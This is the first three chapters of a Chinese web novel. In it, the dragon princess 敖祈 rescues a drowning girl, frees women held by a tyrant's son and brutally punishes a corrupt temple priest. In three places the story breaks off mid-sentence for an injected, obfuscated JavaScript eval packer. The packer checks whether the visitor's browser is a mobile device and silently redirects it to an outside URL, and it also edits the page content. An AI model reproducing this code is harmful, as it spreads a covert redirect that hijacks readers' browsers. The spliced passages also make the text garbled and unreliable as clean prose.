《随手救的绿茶说我负了他》 1. 第 1 章 晴日当空,一柄银光剑嗖地一下蹿出南禺山山坳,惊起无数飞鸟。 御剑飞行之人一袭红衣,墨发高束,红绫飞展,鲜艳的衣袍连带腰间玉玦都在空中翻飞。长空寂静,敖祈张开双臂,绕着山峦间遨游了好几圈,才发现衣带不对劲。 起初以为是错觉,低头仔细一看,龟背纹饰的玉玦连连挣动,像被什么力量牵引似的,扯着衣带左右晃动。这是自她出生就一直戴在身上的,七千年了,还从未有过这种情况。 惊异的同时,敖祈忙捂住玉玦连接在衣带上的绳结,可玉玦的反应不但没有消失,反而愈发强烈,干脆逆着风向舞动。 “这个方向是……北海龙宫?” 回首远眺,敖祈原本轻松的神色逐渐开始凝重,离家修行五千多年,甚少回去,莫不会是家里出了什么事。 没等多想,人已经越过层峦叠嶂,离开了南方群山。不想途经人间地界,玉玦竟突然又安静了下来,一股若有似无的清怡香气弥漫过来。 敖祈警惕地回头看向四周。 这个味道她好像在哪里闻过。 突然一段思绪闪过,嘴边发出短促的惊呼声:“是刚才,在南禺山后山的那股异香。” 几乎是同时,香味消失的瞬间与玉玦再次躁动不安,又或者是发现了什么值得兴奋和惊讶的东西。 低头望向脚下,云层后是滔滔江水,像一条蛇一样在地表蜿蜒流淌,穿梭在人类活动和聚居的房屋之间。敖祈静待片刻,忽然发现在城郭外的远郊江边,正有个姑娘从岸边缓缓走进江中。 江水从她的裙边慢慢向上浸润,很快吞没了她的下半身到达腰际,江水中央一股水流突然将她冲倒。 敖祈及时赶到,揽上姑娘的纤纤细腰掠过水面,将她扶到岸边的石头上坐下。 “前面都是水,再走你不要命啦。” “就让我死吧,我若是继续活下去,一定会生不如死的。” 姑娘藕粉色的衣裙湿了大半,荆钗斜乱,满脸都是水渍,见到敖祈双手环于身前看向自己的眼神里充满关心和疑惑,委屈更甚,加之先前呛了几口水的缘故,眼泪再次汹涌而出,边哭边咳。 被这话惊到,敖祈连忙抚上后背帮她顺气,歪着头问:“你看起来年纪轻轻又如此淑丽,为何如此咒自己?是出了什么事吗?” “都是因为我……我还不如粗笨丑陋得好。” 姑娘啜泣不已,缓了好一会儿才抬头看向她,眼眶里积蓄的泪水像是不会枯竭一样扑簌簌地滑落。 “女侠你既已救我一命,就再大发善心帮帮我吧。” 话还没说完她脚下一软,身体顺着石头滑下去,跪在地上泣不成声。 敖祈连忙搀上她的双臂,跪坐地上安慰:“你先起来,有什么话可以慢慢说。” “我名珍珠,扬州吴县本地人,前几日到牵缘观求帖时不幸被城中姬将军的小儿子看上,要我委身于他,可是他为人粗鄙不堪,好色野蛮,听说……听说后院已有几十个姬妾,还时常有女子的尸体从姬府后门被抬出来……” 闻言敖祈抬手比划:“遇到这种人就该动手,打不过还可以跑,没有非要到寻短见的地步,快起来。” “说得容易,可你不知道。”珍珠哽咽道,“他父亲是当今君主的亲弟弟,奉命掌管扬州所有事务,权势滔天,没有人能逃得过他的手心,同我一道求帖的郎君当日因为阻拦他对我动手动脚,如今……” “如今已经昏迷三四天了……”她从怀中掏出两张红纸递过来,指着其中一张纸上的姓名说,“姬小公子见我不情愿,竟还让牵缘观的人偷偷改换了红帖,硬说我们才是名正言顺的一对,借此反咬他心思不正,勾引良家女子……” “岂有此理,难道没有王法吗?你们的君主也不管管?” 敖祈不可思议地睁大双眼,没想到人间竟然有比自己还无法无天之人,仗势欺人、颠倒黑白、枉顾性命至此,哪里配得上是人啊,连寻常妖魔都算不上。 珍珠咽下呜咽,迷蒙着一双肿得像核桃一样大的眼睛抬脸,连连摇头:“没用的,这里距离王都那么远,谁又能千里迢迢赶去伸冤呢。何况就算知道了又能怎样,在他们眼里,我们这样人的死活根本不重要。” 她像是精疲力竭了,瘫坐下去哭泣:“姬小公子还威胁我,若是我敢逃走,就再也别想活着见到父兄姊妹,到时候我们一家人都是死路一条……” 敖祈在女子的抽泣声和滔滔江水相映和中沉默片刻,嘴唇紧抿成一条线。 须臾,珍珠耷拉的肩膀上猝不及防落下一掌,她浑身一惊,抬头看向敖祈,眼角的泪珠已经被轻轻抹去。 “别哭,此事没人敢管我管。我还就不信了,他能在我面前横行霸道几时。” 普通凡人自然不是敖祈的对手,她乃北海龙王敖煜的三女儿,西海龙王是她亲叔伯,生来自带异象,眼尾飞红,如有神纹。一千多岁时就能单挑北海几万年的海百合,因为太过淘气,常惹得北海整个水域不宁,龙宫众仙官怨声载道,敖闯忍无可忍,将她送到南禺山修炼。 五千多年过去,虽有师父绛雪神君管束,可顽性并无改变。 管他三六九等,要治服一个凡间男子,对敖祈来说,那还不是手到擒来的事情。 然而没想到的是,姬府不光住着几十位被抢来的女子,还藏着高手。 一束雷光破地而过,穿透姬府后院的屋墙,从假山后闻讯赶来两名男子,走在前面的那个锦衣华袍,头戴金冠,腰间的玉带金钩在腹部格外亮眼,但要论相貌,还是跟在他身后的青衣男子略胜一筹。 “何人胆敢擅闯我姬府后院。” 姬小公子骂骂咧咧地指着敖祈,招呼亲卫一哄而上,他边往外走边撸起袖子,露出宽袖下一截白嫩的手臂,手腕上一条如蜈蚣般狰狞鲜红的疤痕格外引人注目。 “就你也配知道我是谁?” 敖祈敛眉冷笑,慢慢走近的同时手中长剑一挥,一道寒光自下而上席卷过去,直劈姬小公子要害。他当场愣在原地,被身后青衣男子揪住肩膀拉走。 当着众亲卫的面,姬述被揪着衣襟转了好大一个圈,瞬间感到颜面扫地,皮肤从脖子红到了鼻尖。 眨巴着眼睛反应过来后,站在青衣男子的身后恼羞成怒:“你怕不是觅不得良婿,想来找本公子。出去打听打听,我姬述虽然宽仁,可也不是什么悍妇都肯收留的。” 与此同时,又是两道寒光剑气接连闪过,然而挡在姬述身前的青衣男子长袖一挥,侧身轻松化解。 “这位姑娘有话可以好好说,何必上来就动手呢,若是不小心伤到了,可是很疼的。” 他一双桃花眼笑起来潋滟如水,薄唇弯弯勾起一个微小的弧度,看起来似笑非笑,惹得敖祈心里平生一团无名火,没想到这姬述府中还有个能打的,她左手并指,悄悄点起一盏雷光,骤然飞去,再次被他躲开。 “谁要跟你们好好说,听好了,趁早把你们抢来的姑娘都放了,我饶你们一命。” 她手握长剑,周身隐隐泛起紫红色的雷光,缓步靠近青衣男子与姬述时,眼尾上扬的两抹飞红格外醒目,让人对视一眼便觉骇然。 姬府的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294618|167091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲卫和家仆将她围了里三层、外三层,只敢战战兢兢跟着她缓慢的步伐挪动。姬述所站的位置之后,屋内的姑娘们不知道外面为何刀剑喧哗,惊恐地抱成一团,躲在里面不敢出声,唯有姬述不为所动。 他嗤笑一声,缩在青衣男子的身后高声叫嚣:“哦你说放就放?她们都是无家可归的可怜女子,在我这好吃好喝地住着,心甘情愿伺候我,我若真狠心将她们赶走,离了我,你让她们怎么生活?你一个女子养她们吗?真是笑话。” “无家可归?”敖祈嘴边发出轻蔑的嗤笑,“就是你让她们无家可归的吧,还想给自己脸上贴金?” “我跟你这种悍妇说不清楚。”姬述说完又缩回脖子,拍了拍青衣男子的后背示意,“还等什么,人都打进门了,赶紧上啊。” 周围家仆、亲卫壮着胆子冲向被围困中央的敖祈,而她目光冷峻,一步飞跃,举剑刺出,寒芒间一道雷光窜涌而出,直捣姬述要害。 青衣男子原本还站在原地观望,奈何被旁边的姬述一把扯过袖子当盾牌。 他本能抬手抵挡,没想到掌心刚聚起一片青雾,就被雷光瞬间穿透。 敖祈见青衣男子痛嘶一声,终于收起笑意,错愕地看向自己,她才心头畅快一点,得意地挑起一边眉毛,眸光中尽是挑衅和嘲笑。 没想到他蹙眉看向手心的伤口,下一秒又恢复先前那副欠打的调笑模样,转身揪住惊慌嚎叫的姬述就要走。 “哪里跑。” 敖祈抛起手中剑柄,双手并起剑指,空中瞬间生出好几道雷光剑刃,朝着越上屋顶的两人背后齐发。 姬府后院外的围墙边,两道人影藏匿在狭小无人的窄巷里,其中一个头顶飘着许多蓝黑色羽毛装饰的男人仰着头说:“恩人,咱们就这么干看着吗?不会出人命吧。” “你追上去看看他们去了哪里。” “是。” 话音刚落,男人旁边的人便化作一只蓝鸟,振翅而起,跟着屋顶上化作青烟的两人一道消失得无影无踪。留下他独自站在墙边阴影下,默默窥听墙内的动静。 屋檐斜角的阴影下,男人笼罩在一件松绿长衫中,肌肤胜雪,莹白如玉,因其身形挺拔而更显清瘦羸弱,瘦得好像只是一副骨头架子似的。 纤长浓密的睫毛在眼下投出一小块阴影,平静无波的面容上看不出多余情绪。他垂眸听了一会儿,待院内不再有兵戈声后,才悄悄飞身进去,神不知鬼不觉地混进后院。 姬府后院内,敖祈施法暂时让那些人昏睡过去,破门而入后悉心告知姑娘们事情的经过。得知重获自由,原本还瑟瑟发抖的女人们立马抱在一起大哭,待她们的亲人听见动静,从后门寻进来后场面更是一发不可收拾。 敖祈被哭嚷声吵得头疼,黑着脸杵在一旁,抱剑等候。 其中有个姑娘离她最近,正抱着老母亲的胳膊哽咽,忽然抬起一双泪眼在周围搜寻一圈:“娘,怎么没看见爹啊?他还不能下地吗?” 妇人的眼泪挂在眼角的沟壑里,一言不发,只是手臂收紧,将怀中的女儿搂地紧一些,再紧一些。 “爹的腿还没好吗?” “爹是不是……” “娘,你说话啊。” 女孩一个劲儿地追问,声音越来越焦急,越来越急促,问到最后,心中似乎已经有了确切的答案,只是不肯相信。搂着她的妇人满脸酸苦,泪水从紧闭的双目中争先涌出,她咬着牙摇了摇头,怀中的人便扑进她胸脯间失声痛哭。 像这样的细节比比皆是,敖祈别过脸去,不再细看,此刻心里装满了别的事情。 2. 第 2 章 视线越过姬府围墙望出去,日光正盛,已然晌午。 回想方才那些寻回女儿的父母所言,敖祈注视着城外不远处那座小山丘,不禁眉头深锁。 正欲动身,突然又是一股清幽怡人的香味飘来,敖祈环顾四周,却并没有找到府内种植花草的迹象,纳罕之际,正好一串清晰的脚步声从斜后方传来。 “等等,你不能走。” 只见一个身着松绿色大袖长衫的男人跑到她面前,张开双臂挡住去路。 此人衣着朴素,身无长物,头顶仅别着一支古朽的木簪,看起来很是老气,与他清俊年轻的样貌十分不符。不过饶是如此打扮,也难掩疏朗气质,抬眸间神清骨秀,很是养眼。 敖祈闻言挑眉端详,将此人上上下下打量了一番,思忖他莫不会又是这府里哪个不怕死的修士幕僚,要替他效忠之人讨个说法。可叹那姬小公子是个缩头乌龟,如今都不知逃到何处去了,此人还能这么忠心也实属难得。 正好方才她没打尽兴,不如就拿他活动活动筋骨。 敖祈表面不动声色,手心已暗暗握上剑柄,没想到寒光未出,来人却当场跪下。 “要走也可以,带上我一起吧。” “啊?” 男人秀眉微蹙,言语间似有哽咽:“姑娘身手不凡,侠肝义胆,救我于水火,此份恩情小生常青无以为报,唯有以身相许。” 敖祈手腕一颤,剑鸣铮铮,她与他懵然对视,还以为是自己耳朵出问题了,难以置信地愣在原地,愕然重复道:“以身相许?!” 他点点头,恍若脸红:“是,敢问姑娘如何称呼?” 敖祈眉头紧锁,手脚蜷缩,脑袋还没反应过来,就见男人迅速起身,笑意盈盈地朝自己走近,方才那股不知来源的清香扑面而来,她平生头一次产生后退的念想。 现在自报家门无疑是给他机会纠缠,虽然她向来不怕麻烦,但要是被北海龙宫知道这次的麻烦是个弱不禁风的男人,难免有失风范。 至于南禺山弟子的身份就更不能张扬了,师父她老人家如今虽然尚在闭关,但若是日后听到风声,得知她不好好待在山里修炼,像上次那样到这种不该来的地方,不知又该如何罚她了。 她可不想再被师父关到鸟不拉屎的结界当中面壁思过。 “姑娘不想说,那就直接称呼娘子吧。”他在他宽大的袖口里摸索什么,最后只掏出来几个香囊和翡翠玉镯,往她面前推,“这是我全部的东西了,你别嫌弃。我还通晓一点法术,不会添麻烦的,只愿常伴左右。” “开什么玩笑。”敖祈想都没想,后退一步,一口回绝。 她上天入海,无所不能,哪里还用得着他一个看起来修为都不如自己的凡间小修士。再说他顶着这张纯良无辜的脸,到底知不知道自己在说些什么啊。 回想方才她站在庭院中躲清静,的确是注意到有个高大到格格不入的身影停在庭院一角,只是她忙于安抚众人情绪,又要解释清楚缘由,再亲眼看每个女孩找到亲人,目送他们回家团圆。 恰好那时又有老两口临别前拉着女儿,非要跪下给她磕头。给敖祈忙得是刚扶起左边,又要扶右边,好说歹说没能推拒得掉,最后逼得她硬是一起跪下。 这些事一连挤在一起,不消片刻,早就将心头疑惑抛诸脑后,忘了深究姬府后院怎么还有个男人。 难道……他也是被那个该死的姬将军小儿子抢来霸占的? 敖祈咽了下口水,也不知话该如何说才不伤人,最后磕磕巴巴吐了一句:“你、你也赶紧回家找你亲人吧,我独来独往惯了,不习惯有人常伴左右。” “可是姑娘,我没有亲人了。” 敖祈根本没有耐心听完,也懒得再同他废话,转身化作一缕红烟离开,徒留常青还在原地,怅然远望。 经过方才一通大闹,姬府上下跑的跑,死的死,连宅子原主都被手下救走,此时俨然人去楼空,寂静无声。 常青视线追随敖祈飞向城外远山,柔软动人的眸光逐渐恢复平静,又变回了从前死寂般的灰色,此刻他颀长的身影在空旷庭院中略显寂寥。 忽然几声婉转鸣唱打破静谧,一只鸟儿拖着细长的尾羽飞掠至此,盘旋于空。 它头顶摇曳着几根细长的黑色羽毛,蓝宝石一般的双目灵动鲜活,和羽翼根部的一行蓝色交相辉映,在阳光下通体的黑羽泛着神秘的光泽,时不时在常青头顶发出啁啁鸣叫,用一种似乎只有他能听懂的方式传音。 “别这么说,寻飞,若没有她便没有你了。”常青神情凛然地抬头,“让你追查的人怎么样了?” “啁啁。” “你说他们隐匿了气息,连你也没追到?”常青面容平静,语气舒缓,“算了,现在还有更重要的事。” 仰头说罢便欲拂袖跟上,怎料周身的法力突然凝聚不起来,有心无力。身形浮在半空一晃,又落回地面,差点跌倒。 蓝鸟旋即回身,拼命煽动翅膀,从背后抵住他的身体。 “无碍。”常青险险站稳后,喃喃道,“方才是我心急了,看来还是不适应这副身体。” 他低头捂着心口粗喘,双手因体内修为紊乱而不住轻颤。良久,才堪堪直起腰身,将滑过肩膀的长发甩至耳后,望向敖祈消失的方向。 *** 扬州王城外一小山丘上矗立着一座千年古刹,翠峰如簇,环抱古庙,据说是如今司掌男女姻缘的月微仙君曾经悟道飞升之地,灵气充沛,保管有情人终成眷属。 因此千百年间香火鼎盛,门庭若市。 是日,道童如往常一样洒扫山道石阶,忽地自山下卷起狂风,搅乱了刚扫好的落叶。 顺着台阶抬头遥望,只见一抹红色身影直奔山顶而去,身手迅捷,似是修士。 小道童连连摇头叹气:“现在来求姻缘的施主可都真是急躁啊。” 敖祈一袭红衣掠至庭前,很是扎眼,此时庙中人头攒动,烟雾缭绕,不知从哪儿冒出一位青衣道士上前行礼:“施主是来看手相还是问……” “来问罪。”她眉目冷峻,飞扬的眼尾处一抹嫣红,言语间锋芒毕露。 “……姻缘啊。” “我只找这里管事的弘清道长,无关人等速速下山。” 敖祈目不斜视,连一个眼神也未曾多给那年轻道士,径直越过他向前走去,一字一句,铿锵有力,响彻八方。 “你是谁?啊——” 那青衣道士平日招待的香客个个对他彬彬有礼,哪里见过来求神还如此傲慢的人,转过头刚想拦她,却被敖祈背后升腾的护体雷光灼伤手心,痛到猝然缩回手臂,脸上也因此顿生恐惧,仿佛见到怪物一样慌乱跑开,引得周围人纷纷驻足围观。 他边跑还边喊道:“快来人呐,又有人闹事。” 话音刚落,就见正殿左右两边齐刷刷跑出来两列道士,个个棍棒加身,挡在敖祈面前。 她原本步伐沉缓,欲往大殿内走去,如今见拦路者忽然凌空而起,停于正殿屋脊之上,一道雷光从袖中闪动而出,化作铮铮长剑,一派肃杀。 “我说,叫弘清出来见我。” 直到此刻,庙中那些香客们才真正意识到事情的严重性,不再站在下面指指点点,充当看客,而是平地起惊雷一般,做鸟兽四散,转头纷纷要逃下山去,骚乱人群中甚至有人高喊:“快跑啊,有妖怪——” 敖祈悬立于屋脊之上,原来还百无聊赖掏掏耳朵,内心嫌弃他们实在聒噪。闻言赶紧摸了摸空荡荡的额角,才总算是松了一口气。 还好她惹人嫌的事情做多了,早就习惯用法力隐藏龙角,以普通凡人的样貌行走各处,这要是被凡人看到自己的狰狞真身,恐怕不止是如今吵吵闹闹的景象了,势必要吓晕几个才算正常。不过转念一想,她忍不住怀疑,这些人是不是连她长什么样子都根本没看清楚就人云亦云。 分明她也没对他们做什么,何至如此惊慌。 看这场骚乱喧嚷,虽然内心郁闷,但也不屑多做解释,只静立于屋顶,眼看香客们一哄而散,紧接着从她脚下的殿内传出一声洪亮如钟的嗓音。 一个中年道士踉踉跄跄追出来,边跑还边喊:“还没给香火钱啊,哎你们!回来——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294619|167091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>从屋顶的角度看下去,那道士圆头大耳,虎背熊腰,还没跑几步路就停在门口喘粗气。眼下庭中空旷,显得他宽厚的背影难得辛酸。 敖祈双眸微眯,歪着头一脸不屑:“你就是弘清?” 那道士揭开飞到脸上的红纸,气得跺脚,一回头就见敖祈孤立屋脊之巅,执剑负手,墨黑的长发高高束起,连同红色发带一起随风翻飞,张扬浓艳。 区区一年轻女子就敢来他的底盘上造次,简直让人颜面无光。紧接着余光一扫,庭中徒弟们已经棍棒加身,列阵应敌,心想这么多人还能不是她一人的对手? 于是弘清道长脸颊上肥肉一抖,指着她大吼:“大胆!哪来的黄毛丫头,竟敢直呼贫道道号?赶紧从屋顶上给我下来!” “哼,你个黑心道士,就是你收受贿赂,欺男霸女!” 众人大惊,纷纷向弘清道长投去疑惑的目光,被他厉声喝了回去。敖祈执剑负手而立,闻言终是忍不住笑出了声,她活了快五千年,还从没听过有人指着她说是黄毛丫头,着实好笑。 然而笑意自眼底起,又转瞬即逝,化作狠厉。在庭中众道士的齐聚围观之下,敖祈沿着屋脊一路小跑,所行之处雷光万钧,轰然声四起,无人能挡。 见此情形,弘清从袖口掏出一张符箓,大臂一挥,甩至空中,开始默念咒语。 然而风中飘然的纸张刚被催动微光,就被一簇雷火劈成了两半,朝着弘清迅速坠去,见状他有心想躲也躲不掉,最后只得被这股力道击中胸口,朝身后摔了出去。 好在一众道士前呼后应,勉强将他接住,搀了起来。 “我刚换的瓦啊……我的鎏金塑像……” 眼看一座座屋顶接连塌陷,瓦片尽碎,房梁皆毁,连正中央飞檐高耸的大殿也没能幸免。众人无计可施,只能在庭中干看着,那中年道士尤为悲痛,哀嚎到差点背过气去,幸亏两旁有人搀扶,才不至于一屁股坐在地上。 “无凭无据,血口喷人!”弘清道长颤抖着撇开两旁的搀扶,转瞬间收起方才的哭腔,愤然喊道,“你是哪门哪派的修士?报上名来!我与你无冤无仇,为何要无故来砸我庙宇,毁我清誉啊。” 仰头望去,罪魁祸首最后轻飘飘地落在塌陷后歪斜的飞檐之上,鲜红的衣袂在风中猎猎作响,神采飞扬,丝毫不觉愧意。 她懒得回应,一抬下巴,俯视众人:“什么神仙灵气汇聚之地,我看都是你为了收受钱财编来哄人的谎话,砸了也罢!今日本少主在此,我倒要看看是哪个神敢助你!” “放肆!” 他话音刚落,就见敖祈飞身而下,迎面站定,连一眨眼的功夫都不到,他就被直接揪住衣领给提了起来。 “你!你想干什么?放我下来!” “看来,你是不打算认账咯?” “认什么?我啊……你……祖师爷不会放过……” 见弘清这副抵死不认的态度,敖祈手心一紧,他便觉气息愈发不畅,这才终于心生畏惧,拼命晃动着悬在半空的双腿,试图从她紧扣的手腕中挣脱出来,可无论怎么挣扎都丝毫不起作用,甚至憋得满脸通红。 再反观敖祈,她身量单薄却仍游刃有余,拿他就像捏死一只蚂蚁一样轻松。 此时赶到庭前的道士道童足足有二三十人,见弘清道长被敖祈如此对待,纷纷抄起扫把、棍棒做攻击状,将她死死围在中央却不敢轻举妄动。 “不管你是何方妖女,胆敢来此兴风作乱,不敬神明!识相的就快快放开我们道长,兴许还能饶你不死。” 敖祈仿佛听到了什么笑话,嗤笑一声,眼尾的飞红在笑意下更添邪魅。 “饶我不死?”她环顾四周,质问声铿锵有力,“你们道长为了点金银财宝就坏人姻缘,助城中权贵欺男霸女,行肮脏不义之举,到底是谁不敬神明?又是谁饶谁不死!” 她今日不光要砸了这招摇撞骗、坑害百姓的庙观,还要亲自上到三十三重天,找那司掌男女姻缘的月微真君好好说道说道,届时他不但不会责怪,反而还要感谢自己,是她替他肃清正气,管教了打着他旗号,败坏门风的祸害。 3. 第 3 章 众道士闻言瞬间炸开了锅,议论声此起彼伏,交头接耳的人群中突然有道清亮的嗓音响起。 “休得妄言!无根之谤岂能做信,你毁庙伤人,已是有错在先,现下污蔑我们道长,可有证据?” 敖祈不耐烦地合上双眼,从腰封处摸出两张红纸,随手扔在地上。 众人警惕不减,只有离得最近的小道士缓缓猫下腰,从脚边捡起来一看,就是两封再寻常不过的姻缘帖,每天从他们庙观里发出去的都不知道有多少了,并无古怪。旁边的人拿过去揭开内里细看,指着上面的字迹大惊失色。 “这、这两封姻缘帖分明是一对儿,可怎么……”他左右张望,将红纸递与他人,“怎么分别写着两个男人的姓名、生辰八字?” 是啊,凡人坚信姻缘天定,自古善男信女来此求签拜神,为的就是觅得佳偶,喜结良缘,哪有一女配二男的说法。 可见定是有贼人心怀不轨,做出这番偷梁换柱的龌龊行径。 众人将目光齐齐转向弘清,他被敖祈提在手中,此时因呼吸不畅,脸色已透出紫青,再一听小道士的话,立马心虚得昏了过去。只是头甫一耷拉下来,差点碰到敖祈手背,反被她及时甩开,扔在地上。 扔完她还嫌恶地看了看那只手,冷笑道:“怎么样,纸张、墨印皆出于你们庙观之中,这可抵赖不得了吧。” 说完见弘清道长躺在地上一动不动,照着大腿就是一脚。 “别给我装死,起来。” 道士们围聚一圈,一面继续用长棍对准敖祈,一面传阅那两张姻缘帖。 盖有印章的洒金红纸与墨色货真价实,若非说是有心人伪造也说得过去,但这字迹确实出自弘清之手,人人心知肚明,当真抵赖不得。 但话又说回来,弘清此举固然可恨,可在场众道士皆要仰赖这庙观的香火讨活计,不论是否知晓或参与过此事,每个人脸上对敖祈的敌视都丝毫不减。 妖孽凶恶她见得多了,人心复杂倒是没有体会,面对冷眼相向,敖祈不屑一顾,只当这些人善恶对错不分,概是一丘之貉。 而主谋弘清此时还直挺挺地躺在地上不吭声,敖祈不肯善罢甘休,突然手腕一转,带动剑刃朝地下轻轻划动,油润的皮肉就此翻开,溢出浓浓血腥之气。 他痛嘶一声,忙睁开眼去摸脖颈和心脏的位置,一顿翻找,最后捂住受伤的手臂在地上打滚,见佯装失败,哎哟着想从地上爬起来,可还没等坐直就被敖祈一脚又踩了回去,活像那砧板上的鱼。 她脚尖踩在柔软的肚皮中央,故意狠狠碾了两下,这舒服的触感不禁让她想起曾在北海龙宫戏耍水母的经历,想来随师父修炼已有两千多年不曾归家,当真怀念。 顺势俯身屈膝,压低重心,将一只手臂搭在腿上,垂首说道:“看来你是真的想死,不如我就成全了你。” “女侠饶命!女侠饶命!我认。都是那姬小公子寻上门来,威逼利诱,我也是一时财迷心窍,又开罪不起他,只得答应,可我只帮他伪造红帖,并没有强占民女啊,旁的这些我一概不知,一概不知。下次再也不敢了!哎哟——我再也不敢了!” “下次?” 说的倒是轻巧。 “这次我就送你到阴曹地府,让你亲自去跟那些被害死的亡魂忏悔吧。” 回想在姬府后院的所见所闻,再垂眸看地上的弘清疼出眼泪,不断哀求,敖祈心里只觉得讽刺。 那些因此失了妻子或女儿的人家夜夜悲啼,有冤无处诉,有亲无处寻,不答应女儿嫁进来就被报复到家破人亡的地步。他们又能向谁讨要“下次”? 他们连命都没了。 更何况,这黑心道士绝不可能像他口中说得这般无辜。 姬府后院二三十名女子乃她亲眼所见,那么多人不可能是一夕之间嫁入府中,少说也得有个把年月。这期间定然会有如珍珠同样遭遇的女子亲人前来质问弘清,不然方才她一踏进这里,那些道士怎会反应如此迅速。 可见他恶人反咬一口、暴力压制无辜受害百姓的事也不是做一次两次了。 越看越觉得此人肥头大耳还死不悔改,实在面目可憎,原想捉他下山请罪,现已然没了耐心,恨不得就地斩杀了事。 索性将手中剑柄一抛,反手提握,刚一抬手要捅下去,只听他扯着嗓子大呼救命。 “女侠明察,都是那姬小公子为非作歹,仗着他父亲是分封统管扬州的大将军王,平日里为非作歹,无恶不作。他找上门来,拿牵缘观威胁我,哪敢不从啊!” 噗地一声,弘清一只手掌被剑刃贯穿,牢牢钉在手臂方才被划开的伤口上。 新伤叠旧伤,他疼得冷汗直冒,连连哀嚎,也只得被压在地上扭动,围在周围一圈的人见此情形更是倒吸一口冷气,不敢上前。 从前来哭闹的百姓倒是也有,可他们哪里见过如此心狠手辣的女人,见到血就像是眼睛放光似的。 敖祈再一开嗓,所有人都跟着浑身一颤。 “我看你嘴硬的很,还当是浑身上下刀剑不入了。” “姑奶奶饶命,就算我财迷心窍,我的错。可我真的只是多写了份姻缘帖,没干别的,再给我一百个胆子,我也绝不敢欺男霸女、害人性命啊,您就放我一条生路吧。” “放你一条生路?”敖祈垂首看他点头如捣蒜,骤然抽出剑刃,冷冷说道,“恐怕你是打着算盘想让我替你去收拾那姓姬的,你好坐收渔翁之利?” “不是不是。”弘清的心思在敖祈面前显露无疑,他不住地摇头,根本不敢与她对视。 “不是?那就是回头你要寻那姓姬的,一起来找我算账是吧。” “不敢不敢,我哪敢啊。” 敖祈直接揪住衣领,将他整个拎起,嘴角勾起轻蔑的邪笑:“敢也没用。” 云霞见暖,白刃淌血。 弘清撕心裂肺的讨饶声响彻四方,传到了山下,都传到常青的耳朵里。他刚过半山腰,听到动静后先是懵然抬头望向山顶,而后瞬间了然,玉色容颜上升起笑意,如霞光般明亮。 待加快步伐,运气前行。登顶后,眼前的一幕果然令人目瞪口呆,几十个道士堆叠在一起,摞得比庭中香炉还高,撕碎的符箓和折断的棍棒遍地都是,连空中盘旋的蓝鸟都悄悄振翅,特意飞远了一些。 常青先是试探了那些人的鼻息,发现他们暂无性命之虞,只是昏迷,这才长舒一口气。 “还想跑!” 循着这声狠厉望去,那抹鲜亮的红衣身影正站在最里侧的正殿门前,挥剑斩向倒在脚边的中年道士脖颈。 那人侧身倒在台阶上,发丝凌乱,衣衫不整,浑身上下到处洇透出来的血迹染红道袍,认命般紧闭双眼,等待死亡。 然而下一秒,铿然一声,风中飘来的一股无形力量,让锋利的长剑停在他下巴处。 黏腻的触感抵在皮肤上,弘清忍不住慢慢睁开一只眼,视线下移,雪白的冰刃上尽是鲜红热血,吓得猛然后仰,重获新生的庆幸感油然而生。 望向常青的眼里满是激动,见终于有人来给他撑腰,弘清忽然有了底气,抬头冲着敖祈叫嚣:“且让你再得意几句,待我禀明祖师爷,看他不收了你这无法无天的妖女!敢来老子的地盘上闹事,你也不看看这是什么地方。我呸!” “不知死活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294620|167091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 敖祈稍一抬手吓唬,弘清就痛嘶着捂上胳膊,转头赶紧拖着那条痛到没有知觉的伤腿,朝殿内匍匐而进,爬行间留下长长血痕。 常青叫住她:“娘子教训一下就好,切莫伤人性命。” 然而她什么也听不进去,光看弘清那两面三刀的模样,敖祈就怒火中烧,眼尾的飞红鲜艳如血。这臭道士当真狡猾,简直就像滑不溜丢的鱼一样令人恶心,竟能从她手底下躲过两招。 周身戾气腾然而起,吓得弘清迅速收起笑脸,但为时已晚,余波震得他没当场晕过去但浑身酸软,使不上力,扑腾了好几下也没挪动一步。 再回头,敖祈一步、一步,已经缓慢地逼近了。 不远处,常青噙着笑负手而立,原是看这道士不知死活,想看好戏,但见此情形瞬间变了神色。 只见敖祈闭目凝神,烈火般的雷光自指尖亮起,划破长空,倏忽间朝道士奔袭而去。 她这是下了杀心。 常青当下紧张起来,爬到一半累得趴在台阶上换气的弘清也是。 他满身是伤,已经无力支撑身体站起来,出于求生本能,硬是靠一只手爬上去,摸到殿前门槛的瞬间暗自庆幸,企图能躲过一劫。 但再高的门槛也遮不住他肥胖的身躯,还没等他爬进去,就见狰狞雷光蜿蜒而过,沿途地砖都破裂迸开。 